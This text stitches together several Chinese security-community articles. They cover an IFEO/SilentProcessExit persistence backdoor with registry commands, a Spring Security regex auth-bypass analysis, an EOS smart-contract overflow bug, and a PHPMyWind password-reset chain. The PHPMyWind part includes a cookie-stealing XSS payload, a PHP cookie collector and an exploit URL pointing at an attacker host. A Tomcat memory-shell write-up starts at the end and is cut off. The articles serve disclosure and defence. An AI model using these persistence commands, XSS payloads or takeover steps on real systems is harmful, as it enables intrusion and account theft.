> “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File
> Execution Options”
注意的是，Win7后的系统，需要管理员权限才能够对这一项做出修改。之前的病毒，喜欢修改这个注册表项，达到劫持系统程序的作用。
下面，做的是一个简单的测试：管理员权限，打开CMD，执行下列修改注表的命令。
reg add "hklmSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v debugger /t REG_SZ /d "c:windowssystem32calc.exe"。
可以看到：打开notepad.exe，而运行起来的是计算器。
## 0x03 映像劫持新玩法
如上文中所讲述，修改IFEO中的“debugger”键值，用来替换原有程序的执行。而新的利用方法，实现的效果是：程序A静默退出结束后，会执行程序B。
在网上收集资料整理后发现， Image File Execution
Options下可以设置以下值项（值只是部分，只能感慨，微软没告诉我们的东西还真多啊）。其中GlobalFlag是本次测试的关键点：
Debugger,
DisableHeapLookaside,
ShutdownFlags,
MinimumStackCommitInBytes,
ExecuteOptions,
GlobalFlag,
DebugProcessHeapOnly,
ApplicationGoo,
RpcThreadPoolThrottle,
PageHeapFlags,
DisableHeapLookAside,
DebugProcessHeapOnly,
PageHeapSizeRangeStart,
PageHeapSizeRangeEnd,
PageHeapRandomProbability,
PageHeapDllRangeStart,
PageHeapDllRangeEnd,
……
歪果仁本是想弄清楚ApplicationGoo这个项值的作用，无奈却毫无头绪。但是在[MSDN的博客](https://blogs.msdn.microsoft.com/junfeng/2004/04/28/image-file-execution-options/)上，发现热心人士对GlobalFlag的这个项值的发表的一些看法。爱实践的歪果仁下载安装了GFlages.exe
开始分析。真是山重水复疑无路，柳暗花明又一村。这便是突破口。
## 0x04 GFlages.exe进行测试
按照MSDN博客的说法，笔者也尝试安装GFlages.exe进行测试。中间遇到一些小坑，GFlages.exe是包含在 Debugging Tools
for Windows(WinDbg)下的。网上现有都是通过安装完整的Windows
SDK。很折腾，经过一番搜索，找到一下dbg的单独安装包，感谢作者分享。
>
> <http://download.microsoft.com/download/A/6/A/A6AC035D-DA3F-4F0C-ADA4-37C8E5D34E3D/setup/WinSDKDebuggingTools_amd64/dbg_amd64.msi>
>
> 来自
> [<https://blog.csdn.net/johnsonblog/article/details/8165861](//blog.csdn.net/johnsonblog/article/details/8165861)>
在Silent Process Exit这个选项卡中发现了挺有趣的东西。根据微软官方介绍，从Windows7开始，可以在Silent Process
Exit选项卡中，可以启用和配置对进程静默退出的监视操作。在此选项卡中设定的配置都将保存在注册表中。
填入如上配置，点击应用、确定，开始测试。使用Process
Explorer进行检测进程的变化。注意，在进行此次测试之前，请先把IFEO中notepad.exe项删除。
打开notepad.exe,关闭后，随之计算器弹出。在Process Explorer上可以看到计算器已经被系统调起。
## 0x05 原理分析
根据微软的官方文档描述，在Silent Process Exit选项卡中的配置，都保存在注册表中。经过分析，等值，主要修改了以下两个表项。
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe
这么一来，可以直接在命令行中对注册表进行设置，需要管理员权限。
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v MonitorProcess /t REG_SZ /d "c:windowssystem32taskmgr.exe"
简单解释一下ReportingMode和MonitorProcess
这两个项值的作用。MonitorProcess的值表示监视器进程。Reporting Mode可以设置为三个值 。
Flag | Value | 解释
---|---|---
LAUNCH_MONITORPROCESS | 0x1 | 检测到进程静默退出时，将会启动监视器进程（在GFLAGS.exe中，Silent Process
Exit这个选项卡所填写的值，即MonitorProcess的项值）
LOCAL_DUMP | 0x2 | 检测到进程静默退出时，将会为受监视的进程创建转储文件
NOTIFICATION | 0x4 | 检查到进程静默退出时，将会弹出一个通知
## 0x06 检测及查杀
1. 排查HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options 以及HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExit项值是否存在关联。
2. 分析系统日志，日志ID为3000和3001，即有可能存在后门威胁。
3. 直接删除IFEO项或者设置管理员不可修改
## 0x07 总结
1. 本文分析总结了关于映像劫持的的一种新型后门技术：当一个程序关闭时会允许执行其他的二进制文件。且Autorun暂时检测不到。
2. 该技巧需要管理员权限，普通用户没有执行权限。
3. 可以结合ADS技术（alternate data streams，NTFS交换数据流）执行，更加的隐蔽。感兴趣的同学可以自己测试一下。
## 参考文章
1. <https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/>
2. <http://www.weixianmanbu.com/article/2188.html>
3. <https://www.qingsword.com/qing/180.html>
4. <https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit>
5. <https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-and-clearing-flags-for-silent-process-exit>
审核人：yiwang 编辑：边边 | 社区文章 |
# CVE-2022-22978 Spring Security RegexRequestMatcher 认证绕过及转发流程分析
# 一、漏洞分析
这篇文章对认证绕过的分析比较简单，因为关键部分就在对正则模式的绕过。
主要花较多的篇幅在spring的高低版本对业务的转发上。可以选择对自己感兴趣的部分进行阅读。
如有错误请多多指出！
## 1、漏洞成因
因为 `RegexRequestMatcher` 正则表达式处理的特性，导致可能某些需要认证的 `Servlet` 被绕过。影响版本如下：
* 5.5.x prior to 5.5.7
* 5.6.x prior to 5.6.4
* Earlier unsupported versions
补丁中新增了 `Pattern.DOTALL` (0x20 可以在源码中看到注释)，默认情况下正则表达式 `.` 不会匹配换行符，设置了
`Pattern.DOTALL` 模式后，才会匹配所有字符包括换行符。这里把dotall模式的注解和谷歌翻译贴在下面。
Enables dotall mode.
In dotall mode, the expression . matches any character, including a line terminator. By default this expression does not match line terminators.
Dotall mode can also be enabled via the embedded flag expression (?s). (The s is a mnemonic for "single-line" mode, which is what this is called in Perl.)
启用dotall模式。
在dotall模式下，表达式。匹配任何字符，包括行终止符。默认情况下，此表达式与行终止符不匹配。
也可以通过嵌入的标志表达式（？s）启用Dotall模式。（s是“单行”模式的助记符，在Perl中就是这样称呼的。）
可以考虑在 URL 中加入换行符（ `\r` 或 `\n` ）来绕过正则表达式匹配。
`/admin/..;/***` 。而Spring Security 存在 `StrictHttpFirewall` 过滤机制，默认会过滤特殊字符：
## 2、环境搭建
在这里直接将pom文件提供给大家。测试springboot所使用的环境是2.7.0。在一开始使用2.5.3环境的时候，会遇到路由转发的问题，导致404。后面会详细把代码贴出来。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.0</version> //这个版本一定要高
</parent>
<groupId>org.example</groupId>
<artifactId>springsecurity</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<spring-security.version>5.6.3</spring-security.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<!-- web模块 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
</project>
实现WebSecurityConfigurerAdapter添加需要认证的接口。
package start.security;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
@Configuration
public class SecurityDemo extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity httpSecurity) throws Exception{
httpSecurity.authorizeRequests().regexMatchers("/admin/.*","/admin2").authenticated();
}
}
admin接口和admin2接口。
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class SecAdminController {
@GetMapping("/admin/*")
public String admin(){
return "hello Admin";
}
}
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class NewController {
@GetMapping("/admin2")
public String noatuh(){
return "hello admin2";
}
}
## 3、调试分析
其实关键点就在于如何对url进行校验。
进入`org.springframework.security.web.util.matcher.RegexRequestMatcher#matches`方法中。
request.getServletPath() -->对字符解码 并且会将;之后的字符到/字符删除
request.getRequestURI() -->原样输出
所以在校验的时候会产生认证的绕过：
## 4、如何转发到对应业务
### Spring-boot 2.7.0
从过滤器走出之后，可以看下面的调用栈，要进行服务功能的执行，分发器(Dispatcher)要选择相应的处理器进行选择。
org.springframework.web.servlet.DispatcherServlet#getHandler
所有映射的内容放在了注册中心处。
RequestMappingInfoHandlerMapping继承org.springframework.web.servlet.handler.AbstractHandlerMethodMapping
在他的方法上下断点getHandlerInternal
虽然这里会移除分号，但是在spring security前面就会被过滤的。这里是spring-web-mvc的组件
这里的返回值是lookupPath是没有被解码的，可以正常映射到/admin/*的路径上。
感兴趣的后面也可以跟一下。在匹配上之后就是选择对应路径的方法进行反射调用，唤醒业务逻辑部分代码。
### Spring-boot 2.5.3
切换版本至2.5.3 先把这个版本下的结果公布一下：
选择对应的版本后进行调试，直接在前面分析的部分下断点。
这里的lookupPath会将%0a解码，导致映射不到对应的路由上面。
所以跟进initLookupPath里面，看看他是如何获取的。
在上面的方法返回的时候，走进了`org.springframework.web.util.UrlPathHelper#decodeAndCleanUriString`，在decodeRequestString那行将url解码返回了。导致路由映射不到相应的handler。
这里是直接从directPath里面寻找。先匹配directPath再去匹配带有通配符的path，所以path分配的优先级在这里就可以体现。
然后在对应所有的path里面去寻找相应的匹配。到这里可以看到，我们前面分析的其实都白费了= = 。最终去匹配的竟然还是request对象。好的
那我们进入这个方法重新开始。
具体的代码逻辑可以看这里面这个方法`org.springframework.util.AntPathMatcher#doMatch`
跟到最后面会发现非常有意思的是，springcore在进行路由匹配的时候也是使用相同的pattern的模式，导致路由也无法匹配上。
我把RegexRequestMatcher的Pattern和用于路由选择匹配的Pattern放在一起，他们使用同一种flag为0的模式，导致\n字符无法被匹配上，至此首尾呼应，完结撒花！
最后找不到对应的handler就会出现404
# 二、加上参数的情况
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class NewController {
@GetMapping("/admin2")
public String noatuh(){
return "hello admin2";
}
}
可以看到这里的逻辑也存在一些问题会导致认证被绕过。将参数拼接之后并与需要校验认证的路径进行对比，导致认证被绕过。
# 三、 如何在路径上修复-单行模式
其实这个问题也可以说是开发人员在路径匹配的时候，没有加正确的匹配模式导致的。我们将路径改为
/admin/(?s).*
@Configuration
public class SecurityDemo extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity httpSecurity) throws Exception{
httpSecurity.authorizeRequests().regexMatchers("/admin/(?s).*","/admin2").authenticated();
}
}
这样业务逻辑就不会被绕过了。 | 社区文章 |
# EOS官方API中Asset结构体的乘法运算溢出漏洞描述
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：古河@360 Vulcan Team
## 综述
asset是EOS官方头文件中提供的用来代表货币资产（如官方货币EOS或自己发布的其它货币单位）的一个结构体。在使用asset进行乘法运算（operator
*=）时，由于官方代码的bug，导致其中的溢出检测无效化。造成的结果是，如果开发者在智能合约中使用了asset乘法运算，则存在发生溢出的风险。
## 漏洞细节
问题代码存在于contracts/eosiolib/asset.hpp:
asset& operator*=( int64_t a ) {
eosio_assert( a == 0 || (amount * a) / a == amount, "multiplication overflow
or underflow" ); <== (1)
eosio_assert( -max_amount <= amount, "multiplication underflow" ); <= (2)
eosio_assert( amount <= max_amount, "multiplication overflow" ); <= (3)
amount *= a;
return *this;
}
可以看到，这里官方代码一共有3处检查，用来防范溢出的发生。不幸的是，这三处检查没有一处能真正起到作用。
首先我们来看检查(2)和(3)，比较明显，它们是用来检查乘法的结果是否在合法取值范围[-max_amouont,
max_amount]之内。这里的问题是他们错误地被放置在了amouont *= a这句代码之前，正确的做法是将它们放到amouont *=
a之后，因为它的目的是检测运算结果的合法性。正确的代码顺序应该是这样：
amount *= a;
eosio_assert( -max_amount <= amount, "multiplication underflow" ); <= (2)
eosio_assert( amount <= max_amount, "multiplication overflow" ); <= (3)
下面来看检测(1)，这是一个非常重要的检测，目的是确保两点：
1.乘法结果没有导致符号改变（如两个正整数相乘，结果变成了负数）
2.乘法结果没有溢出64位符号数（如两个非零正整数数相乘，结果比其中任意一个都小）
eosio_assert( a == 0 || (amount * a) / a == amount, "multiplication
overflow or underflow" ); <== (1)
这里的问题非常隐晦，直接看C++源代码其实看不出什么问题。但是我们要知道，EOS的智能合约最终是编译成webassembly字节码文件来执行的，让我们来看看编译后的字节码长什么样子：
(call $eosio_assert
(i32.const 1) // always true
(i32.const 224) // "multiplication overflow or underflow\00")
)
上述字节码对应于源码中的：
eosio_assert( a == 0 || (amount * a) / a == amount, "multiplication
overflow or underflow" ); <== (1)
这个结果让我们非常吃惊，应为很明显，生成的字节码代表的含义是：
eosio_assert(1, "multiplication overflow or underflow" );
相当于说这个assert的条件变成了永远是true，这里面的溢出检测就这样凭空消失了！！！
根据我们的经验，会发生这样的问题，很可能是编译器优化导致的。于是我们查看了一下官方提供的编译脚本（eosiocpp）：
($PRINT_CMDS; /root/opt/wasm/bin/clang -emit-llvm **-O3** --std=c++14 --target
=wasm32 -nostdinc \
可以看到它是调用clang进行编译的，并且默认开启了编译器优化，优化级别是O3，比较激进的一个级别。
我们尝试关闭编译器优化（使用-O0），然后重新编译相同的代码，这次得到的对应字节码如下：
(block $label$0
(block $label$1
(br_if $label$1
(i64.eqz
(get_local $1)
)
)
(set_local $3
(i64.eq
(i64.div_s
(i64.mul
(tee_local $1
(i64.load
(get_local $0)
)
)
(tee_local $2
(i64.load
(get_local $4)
)
)
)
(get_local $2)
)
(get_local $1)
)
)
(br $label$0)
)
(set_local $3
(i32.const 1)
)
)
(call $eosio_assert
(get_local $3) **// condition based on "a == 0 || (amount * a) / a == amount"**
(i32.const 192) **//** **"multiplication overflow or underflow\00")**
可以看到这次生成的字节码中完整保留了溢出检测的逻辑，至此我们可以确定这个问题是编译器优化造成的。
为什么编译器优化会导致这样的后果呢？这是因为在下面的语句中，amount和a的类型都是有符号整数:
eosio_assert( a == 0 || (amount * a) / a == amount, "multiplication
overflow or underflow" );
在C/C++标准中，有符号整数的溢出属于“未定义行为（undefined
behavior）”。当出现未定义行为时，程序的行为是不确定的。所以当一些编译器（包括gcc，clang）做优化时，不会去考虑出现未定义行为的情况（因为一旦出现未定义行为，整个程序就处于为定义状态了，所以程序员需要自己在代码中去避免未定义行为）。简单来讲，在这个例子里面，clang在做优化时不会去考虑以下乘法出现溢出的情况：
(amount * a)
那么在不考虑上面乘法溢出的前提下，下面的表达式将永远为true:
a == 0 || (amount * a) / a == amount
于是一旦打开编译器优化，整个表达式就直接被优化掉了。
## 官方补丁
8月7日EOS官方发布了这个漏洞的补丁：<https://github.com/EOSIO/eos/commit/b7b34e5b794e323cdc306ca2764973e1ee0d168f>
## 漏洞的危害
由于asset乘法中所有的三处检测通通无效，当合约中使用asset乘法时，将会面临所有可能类型的溢出，包括：
1. a > 0, b > 0, a * b < 0
2. a > 0, b > 0, a * b < a
3. a * b > max_amount
4. a * b < -max_amount
## 响应建议
对于EOS开发者，如果您的智能合约中使用到了asset的乘法操作，我们建议您更新对应的代码并重新编译您的合约。因为像asset这样的工具代码是静态编译进合约中的，必须重新编译才能解决其中的安全隐患。
同时，我们也建议各位EOS开发者重视合约中的溢出问题，在编写代码时提高安全意识，避免造成不必要的损失。
## 时间线
2018-7-26： 360 Vulcan团队在代码审计中发现asset中乘法运算的溢出问题
2018-7-27: 通过Hackerone平台将漏洞提交给EOS官方
2018-8-7: EOS官方发布补丁修复漏洞 | 社区文章 |
# PHPMyWind CMS产品 任意密码重置漏洞研究分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 第一章 安全预警
北京时间2019年2月18日，安全狗海青实验室的安全研究人员发现了一个PHPMyWind的任意密码重置漏洞。
PHPMyWind是一套基于PHP和MySQL并符合W3C标准的企业网站建设解决方案，拥有着较大的用户群体(根据PHPMyWind官网介绍，已下载超15万次)，受影响的版本是5.3-5.5版本。
该“任意密码重置漏洞”联合利用了“反射型XSS漏洞”与“逻辑漏洞”。攻击者可以利用该“反射型XSS漏洞”，通过诱使受害者点击恶意链接，窃取受害者的Cookie；接着，攻击者可以利用Cookie伪造受害者身份，利用该“逻辑漏洞”，在不知道“受害者密码”的前提下，修改“受害者的密保问题”，进而达到重置受害者密码的目的。
海青实验室已经将该漏洞报送给CNVD与CNNVD平台，并根据最新的研究分析总结出了一些防护建议，敬请用户知晓。海青实验室已经将该漏洞报送给CNVD与CNNVD平台，同时通知厂商修复该漏洞，并就该漏洞发布了相关预警。现在厂家已发布修复漏洞的新版本，我们将公开详细的漏洞技术细节，供业内讨论学习。
## 第二章 漏洞详情
漏洞名称 | PHPMyWind 5.3-5.5任意密码重置漏洞
---|---
漏洞影响产品版本（范围） | 5.3-5.5
漏洞危害等级 | 中危
厂商是否已发布漏洞补丁 | 否
安全狗总预警期数 | 74
安全狗预警版本 | V2.0
安全狗发布预警日期 | 2019年3月11日
安全狗更新预警日期 | 2019年3月13日
发布者 | 安全狗海青实验室
## 第三章 漏洞验证
### 3.1 环境搭建
在漏洞环境搭建时，设置有“服务器”“攻击者”以及“受害者”这三方。漏洞验证实验环境的情况如表1所示。
表 1 实验环境情况表
参与方
|
IP地址
|
备注
---|---|---
服务器 | 192.168.114.159 | 部署有“PHPMyWind 5.5”
攻击机（safedog） | 192.168.114.1 | 部署有能“收集PHPMyWind用户的Cookie”的PHP脚本、JS脚本
受害者（victim） | 192.168.114.161 | 可通过浏览器访问“服务器”上的“PHPMyWind”网站
漏洞验证实验的示意图如图1所示。箭头1代表攻击者safedog通过邮件等方式发送恶意链接（嵌有可盗取并发送Cookie的JS脚本）给受害者victim；箭头2代表在受害者victim受诱导点击恶意链接后，会经由浏览器将攻击者safedog嵌入的JS脚本当做数据发送给服务器上的PHPMyWind网站的反射型XSS漏洞点；箭头3与箭头4代表PHPMyWind网站在受到反射型XSS攻击后，会执行JS脚本，将受害者victim的Cookie返回给受害者victim，并发送给攻击者safedog。箭头5代表攻击者safedog在获得受害者victim的Cookie后，利用受害者victim的Cookie与PHPMyWind网站的逻辑漏洞点进行密码重置攻击。
图 1 漏洞验证实验的示意图
### 3.2 验证步骤
漏洞验证过程分为以下8步：
1）在网站注册2个测试账号（攻击者、受害者）；
2）攻击者和受害者都登录网站的会员中心；
3）攻击者搭建可接收受害者Cookie的PHP网站；
4）攻击者使用BurpSuite抓取“重置账号密码”的数据包；
5）攻击者向受害者的邮箱发送可触发反射型XSS漏洞的超链接的邮件（该反射型XSS漏洞可致受害者Cookie泄露）；
6）受害者点击超链接（受害者的Cookie将被传输给攻击者搭建的网站）；
7）攻击者在获得受害者Cookie后，修改步骤4的“重置账号密码”的数据包，并向网站发送数据包，以期重置受害者的“密码找回答案和密码”。
8）攻击者利用网站的“密码找回”功能，重置受害者的登录密码，进而实现非法登录会员中心。
具体如下：
1）在网站注册2个测试账号（攻击者、受害者）；
使用PHPMyWind的注册功能注册攻击者的账号safedog以及受害者的账号victim，通过PHPMyWind的管理后台可以发现safedog的ID为6，而受害者的ID为7，如图2所示。
图 2 攻击者safedog的ID为6，受害者victim的ID为7
2）攻击者和受害者都登录网站的会员中心；
攻击者safedog的登录效果如图3所示。
图 3 攻击者safedog登录会员中心
受害者victim的登录效果如图4所示。
图 4 受害者victim登录会员中心
3）攻击者搭建可接收受害者Cookie的PHP网站；
该PHP网站由“ReflectiveXSS.js”“ReflectiveXSS.php”和“cookie.txt”这3个文件构成。
其中“ReflectiveXSS.js”用于针对服务器端PHPMyWind网站的反射型XSS漏洞窃取受害者victim的Cookie，并将该Cookie值传输给ReflectiveXSS.php；“ReflectiveXSS.php”用于接收名为“victimcookie”的GET请求，并将“victimcookie”的参数值保存到“cookie.txt”。
ReflectiveXSS.js的代码如下：
//通过指定的名称'img'创建img元素
var img = document.createElement('img');
img.width = 0;
img.height = 0;
//将img元素的src属性指向脚本文件ReflectiveXSS.pho
//将cookie信息的字符串作为URI组件进行编码，然后用victimcookie参数传递
img.src = 'http://192.168.114.1/safedog-attack/ReflectiveXSS.php?victimcookie='+encodeURIComponent(document.cookie);
ReflectiveXSS.php的代码如下：
<?php
@ini_set('display_errors',1);
$str = $_GET['victimcookie'];
$filePath = "cookie.txt";
if(is_writable($filePath)==false){
echo "can't write";
}else{
$handler = fopen($filePath, 'a');
fwrite($handler, $str);
fclose($handler);
}
?>
4）攻击者使用BurpSuite抓取“重置账号密码”的数据包；
抓取的结果如图5所示，可以发现网页表单里的“提问：你其中一位老师的名字”对应着报文中的“question=4”，而“回答：kk”对应着报文中的“answer=kk”。
图 5 攻击者使用BurpSuite抓取“重置账号密码”的数据包
5）攻击者向受害者的邮箱发送可触发反射型XSS漏洞的超链接的邮件（该反射型XSS漏洞可致受害者Cookie泄露）；
网站具有反射型XSS注入漏洞的的PoC如下：
http://192.168.114.159/phpmywind5-5/data/api/oauth/connect.php?method=unknownmethod%3Cscript%3Ealert(1)%3C/script%3E
该PoC的执行效果如图6所示。
图 6 PHPMyWind 5.5存在反射型XSS
修改PoC为如下EXP：
http://192.168.114.159/phpmywind5-5/data/api/oauth/connect.php?method=unknownmethod<script src=http://192.168.114.1/safedog-attack/ReflectiveXSS.js></script>
攻击者safedog利用该EXP编辑恶意的电子邮件（邮件正文的“Please Click the
Link”的超链接指向了该EXP），并将之发送给受害者victim，如图7所示。
图 7 攻击者实施跨站脚本钓鱼攻击
6）受害者点击超链接（受害者的Cookie将被传输给攻击者搭建的网站）；
受害者victim点击该超链接后，将会在不知情的情况下受到恶意JS脚本的攻击，自身在PHPMyWind网站的Cookie也会被泄露给攻击者，如图8所示。
图 8 受害者在不知情的情况下将Cookie发送给攻击者
7）攻击者在获得受害者Cookie后，修改步骤4的“重置账号密码”的数据包，并向网站发送数据包，以期重置受害者的“密码找回答案和密码”。
经过步骤6，攻击者safedog可以在其Cookie.txt文件中获得受害者victim的Cookie，如图9所示。
图 9 受害者victim的Cookie被保存到Cookie.txt文件中
接下来，攻击者safedog对BurpSuite的数据包进行修改。在BurpSuite的Repeater面板下进行如下操作：
(1)将攻击者safedog
的Cookie中的username、lastlogintime、lastloginip以及PHPSESSID替换成受害者victim的参数；
(2)将“password”和“repassword”字段的属性值置为空；
(3)将“id”修改为“7”（由图2可知，受害者的ID为7）；
(4)点击“Go”按钮。
返回结果如图10所示，我们可以发现网站给出了提示：“资料更新成功！”。这也代表了攻击者safedog成功重置了受害者victim的“密码找回问题及答案”。
图 10 攻击者safedog成功重置了受害者victim的“密码找回问题及答案”
8）攻击者利用网站的“密码找回”功能，重置受害者的登录密码，进而实现非法登录系统。
攻击者safedog访问网站的“会员中心/登录页面/找回密码”页面，以针对受害者victim的账号进行“找回密码”操作，如图11所示。
图 11 攻击者safedog针对受害者victim账号进行“找回密码”操作
选择“安全问题”为“你其中一位老师的名字”，填写“问题答案”为“kk”，并点击“找回密码”按钮，如图12所示（“安全问题”以及“问题答案”与图5对应）。
图 12 攻击者safedog针对受害者victim账号进行“安全问题验证找回”操作
此时，我们可以发现，可以通过“回答安全问题找回密码”的功能重置受害者victim的密码，如图13所示。
图 13 通过“安全问题验证”，攻击者safedog设置受害者victim的新密码
接着，攻击者safedog可以利用为受害者victim重置的密码登录网站，如图14所示。
图 14 攻击者safedog使用新密码登录受害者victim账号
## 第四章 漏洞原理分析
该“任意密码重置漏洞”联合利用了“逻辑漏洞”与“反射型XSS漏洞”，接下来对这两个漏洞进行具体分析。
(1)逻辑漏洞
该漏洞出现的文件路径为：/member.php，具体位置如图15所示。
图 15 /member.php-逻辑漏洞
这段代码是用户在“会员中心/编辑资料”处进行密码修改的部分代码。
在第584行的if判断的作用是“判断用户提交的新密码是否为空”，第584-593行代码的逻辑是“在用户提交的新密码不为空的情况下，才会进行‘旧密码的比对’，如果提交的旧密码和数据库的查询结果不一致，则不允许继续进行更换密码的操作。”；而在第596行的if判断的作用仍为“判断用户提交的新密码是否为空”，第596-600行代码的逻辑是“在用户提交的新密码不为空的情况下，对新密码进行哈希运算，随后进行SQL语句的拼接”。第584以及第596行存在了逻辑漏洞。因为，如果我们提交的新密码（password变量和repassword变量）为空，则可以绕过对旧密码（oldpassword变量）的验证。这为“攻击者在不知道受害者原始密码的情况下，重置受害者密码”创造了可能。
继续审计第601行以及第602行。第601行进行SQL语句的拼接，第602行执行则进行SQL语句的执行。第601行的SQL语句如下：
@$sql .= "question='$question', answer='$answer', cnname='$cnname', enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month', birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov', live_city='$live_city', live_country='$live_country', home_prov='$home_prov', home_city='$home_city', home_country='$home_country', cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum', mobile='$mobile', telephone='$telephone', address_prov='$address_prov', address_city='$address_city', address_country='$address_country', address='$address', zipcode='$zipcode' WHERE id='$id' AND `username`='$c_uname'";
这个SQL语句的id来源于$id，即$_GET[‘id’]或$_POST[‘id’]，而username来源于$c_uname，具体位置如图16所示。可以发现，当SQL语句满足条件“id=’$id’
AND `username`=’$c_uname'”;”时，才可进行update操作。
图 16 对$id与$c_uname做审计
在第44行中，变量c_uname值（明文）来源于AuthCode($_COOKIE[‘username’])，即先取得Cookie中username(密文)的值，然后通过AuthCode函数配合配置文件中的密钥来获取明文。AuthCode函数的实现方式如图17所示。
图 17 AuthCode函数的实现方式
PHPMyWind采用Cookie保存混淆化的用户登录信息。因为配置文件中的密钥是在CMS搭建时随机生成的，算法也不可逆，因此要在知道c_name变量的前提下，从正向伪造username等变量，以通过权限验证具有较大难度。为获取Cookie中的username等值，可考虑借助反射型XSS漏洞。
(2)反射型XSS漏洞
该漏洞出现的文件路径为：/data/api/oauth/connect.php，具体位置如图18所示。
图 18 /data/api/oauth/connect.php-反射型XSS漏洞
在第24行的if判断的作用是“判断函数名是否存在”，第24-第27行代码的逻辑是“如果函数名不存在，则在PHP页面输出函数名”，这一做法会造成反射型XSS漏洞。
## 第五章 漏洞修复方案
### 5.1 使用安全狗产品防御反射型XSS攻击
请使用PHPMyWind 5.3-5.5的用户使用“网站安全狗”的“漏洞防护规则-HTTP安全检测”功能进行防御，如图19、图20所示。
图 19 使用“网站安全狗”的“漏洞防护规则-HTTP安全检测”功能进行防御
图 20 “网站安全狗”可以防御PHPMyWind 5.3-5.5的任意密码重置漏洞
### 5.2 修复逻辑漏洞
在\member.php的 原584行代码的“检测旧密码是否正确”的判断前添加“检测新密码是为空”的判断，参考做法如图21所示。
图 21 对PHPMyWind 5.3-5.5任意密码重置漏洞进行修复的参考做法（逻辑漏洞角度）
### 5.3 修复反射型XSS漏洞
修改\data\api\oauth\connect.php的 第27行代码，参考做法如图22所示。
图 22 对PHPMyWind 5.3-5.5任意密码重置漏洞进行修复的参考做法（反射型XSS角度）
## 第六章 总结
本文针对“PHPMyWind CMS 5.3-5.5产品任意密码重置漏洞”从漏洞详情、PoC验证、
漏洞原理分析、漏洞修复方案等进行了研究分析，希望对行业和客户有所补益。
通过对这一漏洞的详细分析，可以得到如下启示：
1. 黑客在攻击网站时，可能会打“组合拳”，联合利用多类漏洞；
2. 为防御XSS漏洞，应对输入和输出做严格的过滤；
3. 为防御逻辑漏洞，应对“业务流程”以及“HTTP/HTTPS请求篡改”等黑客挖掘逻辑漏洞的重点引起重视；
4. 应当重视对开源软件的安全性检测。
值得强调的是，网站安全狗能有效地防御了该漏洞。实际测试表明，安全狗产品体系具
有较好的防御未知漏洞的能力，可帮助用户降低了受攻击的风险，建议用户安装，使用。 | 社区文章 |
# 基于tomcat
## Servlet内存马
> web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="false"
>
<!--注册Servlet-->
<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>com.naihe2.testServlet</servlet-class>
</servlet>
<!--Servlet的请求路径-->
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
</web-app>
> testServlet
package com.naihe2;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class testServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("123");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
### 分析Servlet生成
> 读取web.xml
> ContextConfig#webConfig()
在这里对其xml文件进行读取
ContextConfig#configureContext()
遍历webxml中的内容，将内容赋给新创建的Wrapper
将类名添加到Wrapper
